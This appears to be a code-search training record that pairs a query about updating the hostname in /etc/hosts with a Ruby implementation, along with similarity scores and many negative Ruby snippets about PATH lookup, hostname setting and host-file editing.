"def which(cmd)\n # Could actually rather check that this command with the .exe suffix\n # is somewhere, instead of allowing the suffix to change, but that\n # is probably fine\n if OS.windows? && (cmd.end_with? '.exe')\n # 5 is length of \".exe\"\n cmd = cmd[0..-5]\n end\n\n exts = pathExtsAsArray\n pathAsArray.each do |path|\n exts.each do |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n end\n end\n nil\nend",
"def which(command)\n exts = ENV[\"PATHEXT\"] ? ENV[\"PATHEXT\"].split(\";\") : [\"\"]\n ENV[\"PATH\"].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = File.join(path, \"#{command}#{ext}\")\n return exe if File.executable? exe\n end\n end\n nil\n end",
"def gem_bindir\n cmd = shell_out!([new_resource.absolute_gem_binary, 'environment'])\n # Parse a line like:\n # - EXECUTABLE DIRECTORY: /usr/local/bin\n matches = cmd.stdout.scan(/EXECUTABLE DIRECTORY: (.*)$/).first\n if matches\n matches.first\n else\n raise Error.new(\"Cannot find EXECUTABLE DIRECTORY: #{cmd.stdout}\")\n end\n end",
"def find_executable_in_path(command_name)\n ENV['PATH'].split(/;|:/).each do |dir|\n path = File.join(dir, command_name)\n return path if File.executable?(path)\n end\n return nil\n end",
"def find_executable_in_path(command_name)\n ENV['PATH'].split(/;|:/).each do |dir|\n path = File.join(dir, command_name)\n return path if File.executable?(path)\n end\n return nil\n end",
"def ruby_gem_bindir\n cmd = shell_out!([new_resource.parent_ruby.gem_binary, 'environment'])\n # Parse a line like:\n # - EXECUTABLE DIRECTORY: /usr/local/bin\n matches = cmd.stdout.scan(/EXECUTABLE DIRECTORY: (.*)$/).first\n if matches\n matches.first\n else\n raise PoiseApplicationRuby::Error.new(\"Cannot find EXECUTABLE DIRECTORY: #{cmd.stdout}\")\n end\n end",
"def default_installed_bin_dir\n if Gem.win_platform?\n # TODO: Also support Windows without cygwin\n '/cygdrive/c/Program\\ Files/Puppet\\ Labs/DevelopmentKit/bin'\n else\n '/opt/puppetlabs/bin'\n end\nend",
"def which(cmd)\n # Could actually rather check that this command with the .exe suffix\n # is somewhere, instead of allowing the suffix to change, but that\n # is probably fine\n if OS.windows?\n if cmd.end_with? \".exe\"\n # 5 is length of \".exe\"\n cmd = cmd[0..-5]\n end\n end\n \n exts = pathExtsAsArray\n pathAsArray.each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n }\n end\n return nil\nend",
"def path_to_bin(name = nil)\n home = ENV['JAVA_HOME'] or fail 'Are we forgetting something? JAVA_HOME not set.'\n bin = Util.normalize_path(File.join(home, 'bin'))\n fail 'JAVA_HOME environment variable does not point to a valid JRE/JDK installation.' unless File.exist? bin\n Util.normalize_path(File.join(bin, name.to_s))\n end",
"def which program\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exe = File.join(path, program)\n return exe if File.file?(exe)\n end\n nil\n end",
"def get_java_path(resource)\n return resource.java_bin if !resource.java_bin.nil? && !resource.java_bin.empty?\n\n cmd = Mixlib::ShellOut.new('which java').tap(&:run_command)\n cmd_output = cmd.stdout.chomp\n !cmd_output.empty? ? cmd_output : '/usr/bin/java'\nend",
"def bin\n return \"#{@protk_dir}/bin\"\n end",
"def which(cmd)\n\tpaths = ENV[\"PATH\"].split(\":\")\n\tpaths.push(\"/usr/local/bin\", \"/usr/bin\", \"/bin\").uniq!\n\tpaths.each do |dir|\n\t\tfile = dir + \"/\" + cmd\n\t\tif File.file?(file) and File.executable?(file)\n\t\t\treturn true end\n\tend\n\treturn\nend",
"def installer_path\n %x[which apt-get].chomp\n end",
"def find_binary( name )\n\t\treturn ENV[ name.to_s.upcase ] if ENV.key?( name.to_s.upcase )\n\n\t\tdirs = ENV['PATH'].split( File::PATH_SEPARATOR )\n\t\tdirs += dirs.\n\t\t\tfind_all {|dir| dir.end_with?('bin') }.\n\t\t\tmap {|dir| dir[0..-4] + 'libexec' }\n\n\t\tpaths = dirs.collect {|dir| File.join(dir, name) }\n\t\tfound = paths.find {|path| File.executable?(path) } or\n\t\t\traise \"Unable to find %p in your PATH, or in corresponding 'libexec' directories.\" %\n\t\t\t\t[name]\n\n\t\treturn found\n\tend",
"def ruby_interpreter_path\n Pathname.new(\n File.join(Config::CONFIG[\"bindir\"],\n Config::CONFIG[\"RUBY_INSTALL_NAME\"]+Config::CONFIG[\"EXEEXT\"])\n ).realpath\n end",
"def which(executable)\n if File.executable?(exec = File.join(Dir.pwd, 'bin', executable))\n exec\n else\n executable\n end\n end",
"def which(executable)\n if File.executable?(exec = File.join(Dir.pwd, 'bin', executable))\n exec\n else\n executable\n end\n end",
"def which(executable)\n if File.executable?(exec = File.join(Dir.pwd, 'bin', executable))\n exec\n else\n executable\n end\n end",
"def embedded_bin(bin)\n windows_safe_path(\"#{install_dir}/embedded/bin/#{bin}\")\n end",
"def ruby_bin_path\n #config_section.ruby_bin_path || ENV['_'] =~ /ruby/ ||\n require 'rbconfig'\n File.expand_path(Config::CONFIG['RUBY_INSTALL_NAME'], Config::CONFIG['bindir'])\n end",
"def binary\n @binary ||= begin\n if brewed?\n # If the python is brewed we always prefer it!\n # Note, we don't support homebrew/versions/pythonXX.rb, though.\n Formula.factory(@name).opt_prefix/\"bin/python#{@min_version.major}\"\n else\n # Using the ORIGINAL_PATHS here because in superenv, the user\n # installed external Python is not visible otherwise.\n which(@name, ORIGINAL_PATHS.join(':'))\n end\n end\n end",
"def path_with_prepended_ruby_bin\n env_path = ENV[\"PATH\"].dup || \"\"\n existing_paths = env_path.split(File::PATH_SEPARATOR)\n existing_paths.unshift(RbConfig::CONFIG[\"bindir\"])\n env_path = existing_paths.join(File::PATH_SEPARATOR)\n env_path.encode(\"utf-8\", invalid: :replace, undef: :replace)\n end"
] |
[
"0.77079326",
"0.7471957",
"0.74108934",
"0.7407706",
"0.7277174",
"0.72635853",
"0.72635853",
"0.7260902",
"0.7249095",
"0.72404087",
"0.72404087",
"0.72404087",
"0.72404087",
"0.72404087",
"0.72404087",
"0.72404087",
"0.72404087",
"0.72404087",
"0.72404087",
"0.72404087",
"0.72404087",
"0.72404087",
"0.72404087",
"0.72194123",
"0.720157",
"0.7196859",
"0.7196859",
"0.7196859",
"0.7196859",
"0.71876866",
"0.71812826",
"0.71812826",
"0.71765584",
"0.71683466",
"0.71631753",
"0.7161595",
"0.71605974",
"0.71605974",
"0.71605974",
"0.71605974",
"0.71567965",
"0.7152852",
"0.7141054",
"0.71403736",
"0.71403736",
"0.71403736",
"0.71403736",
"0.71403736",
"0.71403736",
"0.71403736",
"0.71340173",
"0.71340173",
"0.7112985",
"0.71087116",
"0.7104159",
"0.70982885",
"0.7098015",
"0.70890754",
"0.7087417",
"0.7087417",
"0.7084728",
"0.70827764",
"0.7082643",
"0.7082643",
"0.70727193",
"0.7067557",
"0.704344",
"0.699918",
"0.69970834",
"0.6985067",
"0.69664365",
"0.69504756",
"0.69329834",
"0.6928384",
"0.68596876",
"0.6844001",
"0.6834903",
"0.683252",
"0.68137497",
"0.68137497",
"0.67957073",
"0.6776479",
"0.6759051",
"0.67151845",
"0.668479",
"0.6674735",
"0.66540354",
"0.6625188",
"0.6594949",
"0.65695155",
"0.65672076",
"0.6564064",
"0.6564064",
"0.6564064",
"0.6519072",
"0.64943403",
"0.6486262",
"0.64737153"
] |
0.7370659
|
5
|
Update hostname in /etc/hosts, optionally removing configuration of old hostname.
|
def update_etc_hosts(old_hostname = nil)
hosts = File.join(ct.rootfs, 'etc', 'hosts')
return unless writable?(hosts)
regenerate_file(hosts, 0644) do |new, old|
old.each_line do |line|
if (/^127\.0\.0\.1\s/ =~ line || /^::1\s/ =~ line) \
&& !includes_hostname?(line, ct.hostname)
if old_hostname && includes_hostname?(line, old_hostname)
new.puts(replace_host(line, old_hostname, ct.hostname))
else
new.puts(add_host(line.strip, ct.hostname))
end
else
new.write(line)
end
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update_etc_hosts(old_hostname = nil)\n regenerate_file(File.join(ct.rootfs, 'etc', 'hosts'), 0644) do |new, old|\n old.each_line do |line|\n if (/^127\\.0\\.0\\.1\\s/ =~ line || /^::1\\s/ =~ line) \\\n && !includes_hostname?(line, ct.hostname)\n\n if old_hostname && includes_hostname?(line, old_hostname)\n line.sub!(/\\s#{Regexp.escape(old_hostname)}/, '')\n end\n\n new.puts(\"#{line.rstrip} #{ct.hostname}\")\n\n else\n new.write(line)\n end\n end\n end\n end",
"def update_etc_hosts(old_hostname = nil)\n path = File.join(ct.rootfs, 'etc', 'hosts')\n return unless writable?(path)\n\n hosts = EtcHosts.new(path)\n\n if old_hostname\n hosts.replace(old_hostname, ct.hostname)\n else\n hosts.set(ct.hostname)\n end\n end",
"def update_hosts\n return unless File.exist?(hosts_path)\n return if File.readlines(hosts_path)\n .grep(/#{new_fqdn} #{new_hostname}/)\n .any?\n hosts_body = File.read(hosts_path).gsub(\n /^127\\.0\\.0\\.1.*/,\n \"127\\.0\\.0\\.1 #{new_fqdn} #{new_hostname} localhost\"\n )\n puts \"Adding \\\"#{new_fqdn}\\\" to #{hosts_path}...\"\n write_file(hosts_path, hosts_body)\n end",
"def update(options = {})\n if entry = find_entry_by_ip_address(options[:ip_address])\n entry.hostname = options[:hostname]\n entry.aliases = options[:aliases]\n entry.comment = options[:comment]\n entry.priority = options[:priority]\n\n remove_existing_hostnames(entry) if options[:unique]\n end\n end",
"def rebuild_host_file(hostname_, fqdn_)\n\n # Get the old hosts file\n hosts_content = ssh.exec! \"cat /etc/hosts\"\n hosts = Hosts::File.parse(hosts_content)\n\n # Delete old entry if exist\n hosts.elements.each{ |element| hosts.elements.delete element if element.class == Hosts::Entry && element.address == ip }\n \n # Add the new entry\n localhost_entry = Hosts::Entry.new ip, fqdn_, aliases: [hostname_], comment: ' Generated by Appd'\n hosts.elements.insert(0, localhost_entry)\n ssh.write \"/etc/hosts\", content: hosts.to_s, sudo: true\n end",
"def set_hostname\n return unless File.exist?(hostname_path)\n return if File.read(hostname_path).strip == new_hostname\n puts \"Setting local hostname (#{new_hostname})...\"\n write_file(hostname_path, new_hostname)\n `hostname -F /etc/hostname`\n end",
"def hostname=(name)\n if hostname != name\n rebuild_host_file(name, fqdn)\n ssh.exec! \"hostname #{name}\", sudo: true\n ssh.exec! \"echo #{name} > /etc/hostname\", sudo: true\n end\n end",
"def rebuild_hosts_file(new_name, new_fqdn)\n\n # Get the old hosts file\n hosts_content = ssh.exec! \"cat /etc/hosts\"\n hosts = Hosts::File.parse(hosts_content)\n\n # Delete old entry if exist\n hosts.elements.each{ |element| hosts.elements.delete element if element.class == Hosts::Entry && element.address == public_ip }\n \n # Add the new entry\n hosts_entry = Hosts::Entry.new public_ip, new_fqdn, aliases: [new_name], comment: ' Generated by Appd'\n hosts.elements.insert(0, hosts_entry)\n ssh.write \"/etc/hosts\", content: hosts.to_s, sudo: true\n end",
"def update_etc_hosts\n comm = machine.communicate\n network_with_hostname = machine.config.vm.networks.map {|_, c| c if c[:hostname] }.compact[0]\n if network_with_hostname\n replace_host(comm, new_hostname, network_with_hostname[:ip])\n else\n add_hostname_to_loopback_interface(comm, new_hostname)\n end\n end",
"def replace_host(comm, name, ip)\n basename = name.split(\".\", 2)[0]\n comm.sudo <<-EOH.gsub(/^ {14}/, '')\n sed -i.bak '/#{name}/d' /etc/hosts\n sed -i.bak '1i\\\\\\n#{ip}\\t#{name}\\t#{basename}\\n' /etc/hosts\n EOH\n end",
"def name=(new_name)\n rebuild_hosts_file(new_name, fqdn)\n ssh.exec! \"hostname #{new_name}\", sudo: true\n ssh.exec! \"echo #{new_name} > /etc/hostname\", sudo: true\n end",
"def fqdn=(new_fqdn)\n rebuild_hosts_file(name, new_fqdn)\n end",
"def replace_host(comm, name, ip)\n basename = name.split(\".\", 2)[0]\n comm.sudo <<-EOH.gsub(/^ {14}/, '')\n sed -i '/#{name}/d' /etc/hosts\n sed -i'' '1i '#{ip}'\\\\t#{name}\\\\t#{basename}' /etc/hosts\n EOH\n end",
"def set_etc_hostname( name )\n sudo <<-SH\n if [ ! -e /etc/hostname -o \"$(< /etc/hostname)\" != \"#{name}\" ]; then\n echo #{name} > /etc/hostname\n hostname #{name}\n fi\n SH\n end",
"def fqdn=(name)\n rebuild_host_file(hostname, name) if fqdn != name\n end",
"def replace_host(line, old_hostname, new_hostname)\n line.sub(\n /(\\s)#{Regexp.escape(old_hostname.fqdn)}(\\s|$)/,\n \"\\\\1#{new_hostname.fqdn}\\\\2\"\n )\n end",
"def configure_host_name(config, host_name)\n if host_name\n config.hostsupdater.remove_on_suspend = true\n config.vm.host_name = host_name\n config.hostsupdater.aliases = [\"secure.#{host_name}\"]\n end\n end",
"def set_hostname\n @hostname = Hostname.find_by_name(params[:name])\n end",
"def host_name=(value)\n @hostname = value\n end",
"def hostname(h)\n @config[:host] = h\n end",
"def update_hosts_info()\n all_nodes = \"\"\n @nodes.each_with_index { |node, index|\n all_nodes << \"#{HelperFunctions.convert_fqdn_to_ip(node.private_ip)} appscale-image#{index}\\n\"\n }\n \n new_etc_hosts = <<HOSTS\n127.0.0.1 localhost.localdomain localhost\n127.0.1.1 localhost\n::1 ip6-localhost ip6-loopback\nfe00::0 ip6-localnet\nff00::0 ip6-mcastprefix\nff02::1 ip6-allnodes\nff02::2 ip6-allrouters\nff02::3 ip6-allhosts\n#{all_nodes}\nHOSTS\n\n etc_hosts = \"/etc/hosts\"\n File.open(etc_hosts, \"w+\") { |file| file.write(new_etc_hosts) } \n\n etc_hostname = \"/etc/hostname\"\n my_hostname = \"appscale-image#{@my_index}\"\n File.open(etc_hostname, \"w+\") { |file| file.write(my_hostname) }\n\n Djinn.log_run(\"/bin/hostname #{my_hostname}\")\n end",
"def hostname=(value)\n @hostname = value\n end",
"def change_hostname(vid, hostname)\n perform_request(action: 'vserver-hostname', vserverid: vid, hostname: hostname)\n end",
"def update_host(host, ip_list)\n validate_list([[\"Host\", host, :presence], [\"IP_List\", ip_list, :presence]])\n options = {\"Host\" => host, \"IP_List\" => ip_list}\n\n connection = Connection.new\n connection.post(\"Domain/Host/Update\", options)\n end",
"def update!(**args)\n @hostname = args[:hostname] if args.key?(:hostname)\n @ip = args[:ip] if args.key?(:ip)\n end",
"def host(hash)\n @hosts.update(hash)\n end",
"def setEtcHostEntry(host)\n\n bash \"/etc/hosts #{host}\" do\n code \"echo '127.0.0.1 #{host} # added by Chef' >> /etc/hosts\"\n only_if { `grep '127.0.0.1 #{host} # added by Chef' /etc/hosts`.to_s.empty? }\n end\n\n end",
"def hostname=(v)\n v = \"[#{v}]\" if !(v&.start_with?('[') && v&.end_with?(']')) && v&.index(':')\n self.host = v\n end",
"def rm(hostname)\n hosts.delete hostname\n end",
"def remove_existing_hostnames(entry)\n @entries.delete(entry)\n changed_hostnames = [entry.hostname, entry.aliases].flatten.uniq\n\n @entries = @entries.collect do |entry|\n entry.hostname = nil if changed_hostnames.include?(entry.hostname)\n entry.aliases = entry.aliases - changed_hostnames\n\n if entry.hostname.nil?\n if entry.aliases.empty?\n nil\n else\n entry.hostname = entry.aliases.shift\n entry\n end\n else\n entry\n end\n end.compact\n\n @entries << entry\n\n nil\n end",
"def update!(**args)\n @host_name = args[:host_name] if args.key?(:host_name)\n @host_owner = args[:host_owner] if args.key?(:host_owner)\n end",
"def update!(**args)\n @host_name = args[:host_name] if args.key?(:host_name)\n @host_owner = args[:host_owner] if args.key?(:host_owner)\n end",
"def change_hostname(fname, outfile)\n hostname = `hostname`.chomp\n File.open(fname) do |f|\n f.each_line do |line|\n line = line.sub(/ip-\\d{1,3}-\\d{1,3}-\\d{1,3}-\\d{1,3}/,hostname)\n outfile.puts line\n end\n end\nend",
"def update_host(host, args = {})\n modify_host(host, args, 'update')\n end",
"def reset_external_host()\n instances = $ec2.describe_instances([self.id])\n if instances.length == 0\n raise UserError, \"Instance was not found when resetting external_host\"\n end\n self.external_host = instances[0][:dns_name]\n self.save()\n end",
"def new_hostname\n host || incremented_hostname || local_host_name\n end",
"def host=(new_host); end",
"def update\n @host = Host.find_by(hostname: params[:id]) ||\n Host.create(host_params.merge({hostname: params[:id]}))\n\n if @host.update(host_params)\n head :no_content\n else\n render json: @host.errors, status: :unprocessable_entity\n end\n end",
"def set_hostname(opts = {})\n cmd = command_builder('hostname', opts)\n configure(cmd)\n end",
"def set_hostname(opts = {})\n cmd = command_builder('hostname', opts)\n configure(cmd)\n end",
"def cleanup_hostname!\n return unless machine.config.vm.hostname.nil?\n machine.communicate.sudo(\"rm -f /etc/nixos/vagrant-hostname.nix\")\n end",
"def host=(new_host)\n unless new_host =~ /^http(s)?:\\/\\//\n new_host = \"https://#{new_host}\"\n end\n @host = new_host\n end",
"def host=(host)\n @hosts = nil\n @host = host\n end",
"def update_known_hosts\n buffer = StringIO.new\n buffer << \"#\\n\"\n buffer << \"# This file is automatically generated by the command `leap`. You should NOT modify this file.\\n\"\n buffer << \"# Instead, rerun `leap node init` on whatever node is causing SSH problems.\\n\"\n buffer << \"#\\n\"\n manager.nodes.keys.sort.each do |node_name|\n node = manager.nodes[node_name]\n hostnames = [node.name, node.domain.internal, node.domain.full, node.ip_address].join(',')\n pub_key = read_file([:node_ssh_pub_key,node.name])\n if pub_key\n buffer << [hostnames, pub_key].join(' ')\n buffer << \"\\n\"\n end\n end\n write_file!(:known_hosts, buffer.string)\n end",
"def update_hostname(name)\n File.open(File.join(KVM_MOUNT_POINT, name, 'etc', 'hostname'), 'w') do |file|\n file.puts name.split('.').first\n end\nend",
"def set_etc_hosts(host, etc_hosts)\n if host['platform'].include?('freebsd')\n host.echo_to_file(etc_hosts, '/etc/hosts')\n elsif ((host['platform'].include?('windows')) and not host.is_cygwin?)\n host.exec(Command.new(\"echo '#{etc_hosts}' >> C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\"))\n else\n host.exec(Command.new(\"echo '#{etc_hosts}' >> /etc/hosts\"))\n end\n # AIX must be configured to prefer local DNS over external\n return unless host['platform'].include?('aix')\n\n aix_netsvc = '/etc/netsvc.conf'\n aix_local_resolv = 'hosts = local, bind'\n return if host.exec(Command.new(\"grep '#{aix_local_resolv}' #{aix_netsvc}\"), :accept_all_exit_codes => true).exit_code == 0\n\n host.exec(Command.new(\"echo '#{aix_local_resolv}' >> #{aix_netsvc}\"))\n end",
"def set_hostname(host, domain)\n set_hostname = <<SCRIPT\n sudo hostname #{host}.#{domain}\nSCRIPT\nend",
"def reload_hosts\n send_simple_request('reload hosts', {}) { |response| response['msg'] }\n end",
"def setlocal()\n if system(\"hostnamectl set-hostname #{@fqdn}\")\n @log.info(\"Set the localhost hostname to #{@fqdn}.\")\n end\n end",
"def set_hostname(vm_name, vm_config, hostname)\n require_string(vm_name)\n require_vagrant_config(vm_config)\n\n require_string(hostname)\n\n log_info_light(\"#{vm_name}: setting hostname: #{hostname}\")\n vm_config.vm.hostname = hostname\n end",
"def change_host\n @parameters[:hosts] = @parameters[:hosts].sort_by { rand } if @parameters[:randomize]\n\n # Set first as master and send it to the end of array\n current_host = @parameters[:hosts].shift\n @parameters[:hosts] << current_host\n\n @ssl = current_host[:ssl]\n @host = current_host[:host]\n @port = current_host[:port] || Connection::default_port(@ssl)\n @login = current_host[:login] || \"\"\n @passcode = current_host[:passcode] || \"\"\n end",
"def host=(val)\n @j_del.setHost(val)\n self\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tif @domain.update_attributes(:hostname => params[:hostname])\n\t\t\t\tformat.json { head :no_content, status: :ok }\n\t\t\telse\n\t\t\t\tformat.json { render json: @domain.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\n\t\t# Fetch the hostname IP address and update the record in a new thread\n\t\tt1=Thread.new{fetch_origin_ip()}\n\t\tt1.join\n\tend",
"def with_hostname(hostname)\n @hostname = hostname\n self\n end",
"def host\n hosts_file_path = '/etc/hosts'\n hosts_file = File.read(hosts_file_path)\n return $stdout.puts 'Pow is already in the hosts file. Please run `powify server unhost`' if hosts_file =~ /(#powify)/ || File.exists?(\"#{hosts_file_path}.powify.bak\")\n\n # break our hosts file into lines\n hosts_file = hosts_file.split(\"\\n\")\n pow_domains = Dir[\"#{POWPATH}/*\"].collect { |a| \"127.0.0.1\\t#{File.basename(a)}.#{extension}\\t#powify\" }\n\n # find the loop back and insert our domains after\n first_loopback_index = hosts_file.index{ |i| i =~ /^(127.0.0.1).+/ }\n hosts_file = hosts_file.insert(first_loopback_index + 1, pow_domains)\n\n %x{sudo cp #{hosts_file_path} #{hosts_file_path}.powify.bak}\n File.open(hosts_file_path, 'w+') { |f| f.puts hosts_file.join(\"\\n\") }\n\n %x{dscacheutil -flushcache}\n $stdout.puts \"All Pow apps were added to the hosts file.\"\n $stdout.puts \"The old host file is saved at #{hosts_file_path}.powify.bak.\"\n end",
"def host(new_host)\n unless host_valid? new_host\n raise Urb::InvalidUrl 'Try to set a invalid value to host'\n end\n\n @host = new_host\n\n self\n end",
"def update_name(options)\n if options.key?(:name) && options[:name].is_a?(String) && options[:name].length > 0\n return\n end\n hostname = if options.key?(:hostname) then\n options[:hostname]\n else\n @args.default_values[:hostname]\n end\n hostname = hostname[0] if hostname.is_a?(Array)\n options[:name] = hostname.gsub(/[^A-Za-z0-9_-]/, '-')\n end",
"def set_hostname(hostname: nil)\n if hostname.nil?\n puts (\"Please enter the full hostname of the machine.\\n\" +\n '(i.e. the part that would appear including the https:// ' +\n 'in a url but before any other slashes):').yellow\n print CONFIRM_PREFIX.yellow\n hostname = gets\n File.open(HOSTNAME_CFG_FILE, 'w') do |f|\n f.write hostname\n end\n end\nend",
"def update_dns()\n #\n # Handle each host in the config file at a time\n #\n @config['hosts'].each {|h|\n #\n # Skip update if current public IP matches the IP for the host in the cache file\n #\n if @cache[h['host']] && @myip.eql?(@cache[h['host']]['ip'])\n @logger.info \"Skipping #{h['host']} - Already pointing to #{@myip}\"\n else\n url = \"https://domains.google.com/nic/update?hostname=#{h['host']}&myip=#{@myip}\"\n @logger.info \"Updating host [#{h['host']}] - #{url}\"\n\n #\n # Access Google Domains API to update IP\n #\n open(url,\n :http_basic_authentication => [h['username'],h['password']],\n \"User-Agent\" => \"#{@options[:user_agent]}\") {|r|\n if r.status[0] == \"200\"\n r.each_line {|line|\n if (/(?<sts>(good|nochg))\\s+(?<ip>(\\d+\\.\\d+\\.\\d+\\.\\d+)?)/ =~ line)\n #\n # Cache if API call was successful\n #\n @cache[h['host']] = {'ip' => ip}\n @logger.debug \"[#{@responses[sts][0]}][#{sts}] : [#{@responses[sts][1]}]\"\n else\n @logger.warn \"[#{@responses[line][0]}][#{line}] : [#{@responses[line][1]}]\"\n end\n }\n else\n @logger.error \"Error status returned #{r.status.inspect}\"\n end\n }\n write_cache_file\n end\n }\n end",
"def add_host(line, hostname)\n return if line !~ /^([^\\s]+)(\\s+)/\n\n i = $~.end(2)\n \"#{$1}#{$2}#{hostname.fqdn} #{line[i..-1]}\"\n end",
"def remove_host(host_name)\n raise 'Server Name Indication (SNI) not configured for default host' unless @hosts\n raise 'only valid for server mode context' unless @is_server\n context = @hosts[host_name.to_s]\n if context\n @hosts.delete(host_name.to_s)\n context.cleanup\n end\n nil\n end",
"def add_host(new_host)\n @hosts.push(new_host)\n end",
"def remove_host(host)\r\n @hosts.delete(host)\r\n end",
"def update\n respond_to do |format|\n if @hostname.user != nil and @hostname.user == current_user\n if @hostname.update(hostname_update_params)\n format.html { redirect_to @hostname, notice: 'IP address was successfully updated.' }\n format.json { render :show, status: :ok, location: @hostname }\n else\n format.html { render :edit }\n format.json { render json: @hostname.errors, status: :unprocessable_entity }\n end\n else\n format.html { redirect_to root_path, alert: 'That hostname is owned by someone else!' }\n format.json { render json: { message: 'Hostname owned by another user' }, status: 403 }\n end\n end\n end",
"def update!(**args)\n @host_app_name = args[:host_app_name] if args.key?(:host_app_name)\n end",
"def modify_host(host, args = {}, action = 'create')\n args[:host] = host\n ! @backend.send(\"#{action}_host\", args).nil?\n end",
"def reload_hosts_list\n self.hosts = self.storage_servers\n write_hosts_to_file\n end",
"def hosts=(hosts)\n @host = nil\n @hosts = hosts\n end",
"def set_sysconfig_network( name )\n # If not already set correctly, backup, delete old line, append\n # new line.\n sudo <<-SH\n if ! grep -q '^HOSTNAME=#{name}$' /etc/sysconfig/network; then\n cp -f /etc/sysconfig/network /etc/sysconfig/network~\n sed -i '/^HOSTNAME=.*/d' /etc/sysconfig/network\n echo 'HOSTNAME=#{name}' >> /etc/sysconfig/network\n hostname #{name}\n fi\n SH\n end",
"def editEtcHosts(app)\n\n setEtcHostEntry(app[\"host\"])\n\n app[\"aliases\"].each do |host|\n setEtcHostEntry(host)\n end\n\n end",
"def replace_nameservers(hostname, new_attributes)\n transaction do\n domain_list = []\n\n nameservers.where(hostname: hostname).find_each do |original_nameserver|\n new_nameserver = Nameserver.new\n new_nameserver.domain = original_nameserver.domain\n new_nameserver.attributes = new_attributes\n new_nameserver.save!\n\n domain_list << original_nameserver.domain.name\n\n original_nameserver.destroy!\n end\n\n domain_list.uniq.sort\n end\n end",
"def update_hosts\n Host.where(event: @event).delete_all\n unless lunch_host_ids[:hosts].blank?\n lunch_host_ids[:hosts].each do |host_id|\n Host.create(event: @event, user: User.find(host_id))\n end\n end\n end",
"def munge\n host_name.sub(/\\A(.{1,2}).*/) { |m| $1 + @config[:munge_string] }\n end",
"def set_ip_or_hostname(opts)\n opts = check_params(opts,[:ip_or_hostnames])\n super(opts)\n end",
"def hostname(arg = nil)\n set_or_return(:hostname, arg, kind_of: [String])\n end",
"def replace_nameservers(hostname, new_attributes, domains: [])\n transaction do\n domain_scope = domains.dup\n domain_list = []\n failed_list = []\n\n nameservers.where(hostname: hostname).find_each do |origin|\n idn = origin.domain.name\n puny = origin.domain.name_puny\n next unless domains.include?(idn) || domains.include?(puny) || domains.empty?\n\n if domain_not_updatable?(hostname: new_attributes[:hostname], domain: origin.domain)\n failed_list << idn\n next\n end\n\n new_nameserver = Nameserver.new\n new_nameserver.domain = origin.domain\n new_nameserver.attributes = new_attributes\n new_nameserver.save!\n\n domain_scope.delete_if { |i| i == idn || i == puny }\n domain_list << idn\n\n origin.destroy!\n end\n\n self.domains.where(name: domain_list).find_each(&:update_whois_record) if domain_list.any?\n [domain_list.uniq.sort, (domain_scope + failed_list).uniq.sort]\n end\n end",
"def host=(h)\n attributes['host'] = h\n end",
"def refresh(host)\n\t\tputs \"Refresh the local host repository for host: #{host} \"\n\t\thost=host.strip.downcase\n\t\tif @known_hosts.key?(host)\n\t\t\told_ip=@known_hosts[host]\n\t\t\tnew_ip=host_2_ip(host)\n\t\t\tif is_ip?(new_ip)\n\t\t\t\tif old_ip==new_ip\n\t\t\t\t\tputs \"No change for the host entry: #{host}\\t#{old_ip}\"\n\t\t\t\t\treturn nil\n\t\t\t\telse\n\t\t\t\t\t@known_hosts[host]=new_ip\n\t\t\t\t\t@known_hosts[new_ip]=host\n\t\t\t\t\tputs \"Entry refreshed: #{host}\\t#{@known_hosts[host]}\"\n\t\t\t\t\treturn host\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tputs \"Host can no longer be resolved in the Internet. Entry removed: #{host}\\t#{@known_hosts[host]}\"\n\t\t\t\t@known_hosts.delete(host)\n\t\t\t\treturn host\n\t\t\tend\n\t\telse\n\t\t\tputs \"Error entry non exist: #{host}\"\n\t\tend\n\trescue => ee\n\t\tputs \"Exception on method #{__method__}: #{ee}\"\n\tend",
"def host=(h)\n @host = h\n end",
"def set_host(v)\n v = \"\" if v.nil? || v == \"localhost\"\n @host = v\n end",
"def set_hostname(server)\n\tserver.vm.provision 'shell', inline: \"hostname #{server.vm.hostname}\"\nend",
"def hostname\n raise 'empty hostname, something wrong' if @in_hostname.empty?\n @in_hostname\n end",
"def restore_local_hosts(project_name)\n `sudo cp #{local_hosts_path}/hosts_before_#{project_name} #{local_hosts_path}/hosts`\n `sudo rm #{local_hosts_path}/hosts_before_#{project_name}`\n end",
"def remove_host(name)\n configure \"no logging host #{name}\"\n end",
"def update!(**args)\n @host_match = args[:host_match] if args.key?(:host_match)\n end",
"def set_host(v)\n @host = v\n end",
"def hostname\n @hostname ||= ENV['HOSTNAME'] || `hostname`.delete(\"\\n\")\n end",
"def update\n\t @host = Host.find(params[:id])\n\t @domain = Setting.get 'domain'\n\n\t respond_to do |format|\n\t if @host.update_attributes(params[:host])\n\t flash[:notice] = 'Host was successfully updated.'\n\t format.html { redirect_to(@host) }\n\t format.xml { head :ok }\n\t else\n\t format.html { render :action => \"edit\" }\n\t format.xml { render :xml => @host.errors, :status => :unprocessable_entity }\n\t end\n\t end\n\tend",
"def determine_hostname\n @info[:hostname] = @shell.query('HOST', 'hostname')\n end",
"def update\n @host_name = HostName.find(params[:id])\n respond_to do |format|\n if @host_name.update_attributes(params[:host_name])\n flash[:notice] = \"#{@host_name.name} was successfully updated.\"\n format.html { redirect_to(admin_host_names_url(@general_params)) }\n format.js\n format.xml { head :ok }\n else\n flash[:notice] = \"Problem with updating #{@host_name.name} \"\n format.html { redirect_to(admin_host_names_url(@general_params)) }\n format.js\n format.xml { render :xml => @host_name.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_lb_hostname\n obj_behavior(@deployment, :set_input, \"LB_HOSTNAME\",get_lb_hostname_input)\n end",
